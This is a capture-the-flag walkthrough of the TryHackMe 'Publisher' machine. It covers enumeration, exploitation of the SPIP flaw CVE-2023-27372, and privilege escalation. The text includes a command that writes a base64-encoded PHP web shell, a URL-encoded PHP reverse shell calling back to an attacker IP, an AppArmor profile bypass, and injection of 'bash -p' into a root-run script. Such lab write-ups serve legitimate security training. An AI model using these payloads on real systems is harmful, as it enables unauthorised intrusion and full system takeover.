Publisher: TryHackMe CTF Walkthrough

Link to the Room: https://tryhackme.com/room/publisher

Title: Test your enumeration skills on this boot-to-root machine

Description: The “Publisher” CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation

1. Scanning & Enumeration

Using nmap command to discover open ports on the target system:

nmap Target_IP -vvv

Found two open ports on the target system, further exploring the machine to discover the services & their versions running on these open ports:

nmap -p22,80 -sV 10.80.133.78 -o nmap.txt

Web

From above scan discovered two different services (ssh & http) running on the target machine
Exploring the HTTP service running on port 80

A good habit is first to map the application and understand the technology stack it is using
Using Wappalyzer browser extension to discover the technology stack and programming language which target web application is using

Find directories and files using Gobuster tool:

gobuster dir -u http://TARGET_IP:80/ -w /usr/share/seclists/Discovery/Web-Content/big.txt

From above scan two directories found:

/images/
/spip/

Further enumerating the /spip/ directory to find more files & directories:

gobuster dir -u http://10.82.133.14:80/spip/ -w /usr/share/seclists/Discovery/Web-Content/big.txt

Result:

/LICENSE
/README.md

/config/
/ecrire/
/local/
/prive/
/squelettes-dist/
/tmp/
/vendor/

Analyzing each directory and files they contain, I encountered the version of the CMS spip which target web application is using, displayed in one of the file located at: /spip/local/config.txt

Using searchsploit tool to find the possible exploit for that specific CMS (spip):

searchsploit spip

From above command it displays that the web application is running a vulnerable CMS version which can lead attacker to Remote Code Execution without having authentication credentials

2. Exploitation

Searching for this vulnerable software on the internet provides the CVE details and PoC to exploit

Download the python exploit for CVE-2023-27372 from the GitHub repo displayed above and run the exploit to upload a web shell on this vulnerable web application

./CVE-2023-27372.py -u http://10.80.180.136/spip -c "echo PD9waHAKaWYgKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwp9Cj8+Cg== | base64 -d > webshell.php"

Now, you can access the web shell created on the vulnerable application by visiting the URL: http://TARGET_IP/spip/webshell.php
You can run the necessary commands by providing a CMD parameter, as: http://10.80.180.136/spip/webshell.php?cmd=id

Reverse Shell

To obtain reverse shell from the target system perform following steps:

1. Setup a listener on your local machine (attack box): nc -lnvp 4444
2. Execute URL encoded reverse shell from web shell on the target system, as: php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.136.23%22%2C4444%29%3Bshell_exec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

Reverse shell received on the listener running on local machine

Found user.txt within the think user’s home directory /home/think

3. Privilege Escalation

Looking for privilege escalation vectors to gain access to other users on the system

While enumerating for sensitive files I found user think ssh private key id_rsa which is readable by all the users on the system (including www-data which we have compromised)

As system is already running the SSH service we found earlier in nmap scan, lets try to access SSH service from local machine (attacker machine) as user think with its private key id_rsa

chmod 600 id_rsa
ssh think@Target_IP -i id_rsa

Access to root user

Looking for SUID binaries which are running as user root, and can be executed by the currently compromised user think:

find / -type f -perm -u=s -ls 2>/dev/null

By running above command, found a custom binary having SUID privileges (SUID allows to run the binary with the privileges of its owner which is root in this case) and can be executed by any user on the system (including think)

By executing this suspicious binary /usr/sbin/run_container, look at the output, this binary is executing another shell program located at /opt/run_container.sh

Listing the permissions of this program:

ls -l /opt/run_container.sh

As displayed following, this target shell program (/opt/run_container.sh) is writable by all the users on the system

Now, the exploit process seems to be simple just write malicious commands in that target /opt/run_container.sh program file & running the custom SUID binary will execute this file containing attacker's malicious command, thus giving us a root shell

But, on writing into /opt/run_container.sh returns permission denied error, even if /opt/run_container.sh is globally writable

That’s an abnormal behavior, user is unable to modify the writable file. There might be some other application or config blocking such action, as specified in the Hint of root flag: “Look to the App Armor by it’s profile”

Let’s google for App Armor it displays:

AppArmor provides Mandatory Access Control (MAC) by restricting programs and process from read/write/execute permissions on files/directories through strict, per-program profiles

From the above info it is clear that their might be some program specific restrictions applied which is restricting users to modify the writable /opt/run_container.sh file

Another, google search for App Armor config file, results:

App Armor configs/profiles are primarily stored in the /etc/apparmor.d/ directory
Profiles are named after the absolute path to the executable they protect, replacing the forward slashes (/) with periods (.)
Example:
As profile for /usr/bin/nginx is saved as /etc/apparmor.d/usr.bin.nginx

List the App Armor profiles on the target system

ls -l /etc/apparmor.d/

By running above command it displays a profile for ash shell, which is another Linux shell just like bash,sh,zsh

This usr.sbin.ash profile of App Armor applies to the current user think becuase this user is using the ash shell, you can confirm this by running:

echo $0

View the usr.sbin.ash profile by running command:

cat /etc/apparmor.d/usr.sbin.ash

Understanding the rules to the specified directories in usr.sbin.ash profile:

deny /opt r, --> prevents from reading/listing the "/opt" directory but directories & file under this directory can still be listed & read, as: ls -l /opt/run_container.sh

deny /opt/** w, --> same as above but applies to "/opt" directory

deny /tmp/** w, --> same as above but applies to "/tmp" directory

deny /dev/shm w, --> prevents from writing on the "/dev/shm" directory itself, but this doesn't apply on the files & subdirectories 

dev /var/tmp w, --> same as above but applies to "/var/tmp" directory

dev /var/tmp w, --> prevents from writing into the "/home/**" directory

/usr/bin/** mrix, --> allows execution of the programs under "/usr/bin/" directory but that new process inherits the current profile, as in this case:
 new_process (profile "/etc/apparmor.d/usr.sbin.ash")
   |
 exec("/usr/bin/bash")
   |
 bash (still profile "/etc/apparmor.d/usr.sbin.ash" applied)

/usr/sbin/** mrix, --> same as above but applies to "/usr/sbin/" directory

As the above profile is applied to the current shell ash & from the profile configs /usr/bin/** it displays that we can execute the /usr/bin/bash to change the shell but the usr.sbin.ash profile will still be applied to that new shell process, hence user will still be unable to modify the target program /opt/run_container.sh

But it is still possible to bypass the usr.sbin.ash profile if attacker executes the bash shell from any other directory where mrix configs doesn't apply, so from here out exploit methodology will be:

1️⃣ Copy the /usr/bin/bash shell to any other directory, in this case we are using /var/tmp:

cp /usr/bin/bash /var/tmp/bash

2️⃣ Execute the /var/tmp/bash to change the shell & bypass the usr.sbin.ash profile configs:

/var/tmp/bash

Now, attacker is able to modify the /opt/run_container.sh

3️⃣ Insert your malicious commands in the target program:

echo "/usr/bin/bash -p" >> /opt/run_container.sh

4️⃣ Now, execute the SUID binary which executes this target program injected with attacker’s malicious command (/usr/bin/bash -p), hence giving root privileges:

/usr/sbin/run_container

Read the /root/root.txt to get our final flag:

cat /root/root.txt

If you want more walkthroughs on CTF challenges, detailed writeups on Web Hacking and exploitatoin techniques, follow me here on Medium to stay update and get notified

Publisher: TryHackMe CTF Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.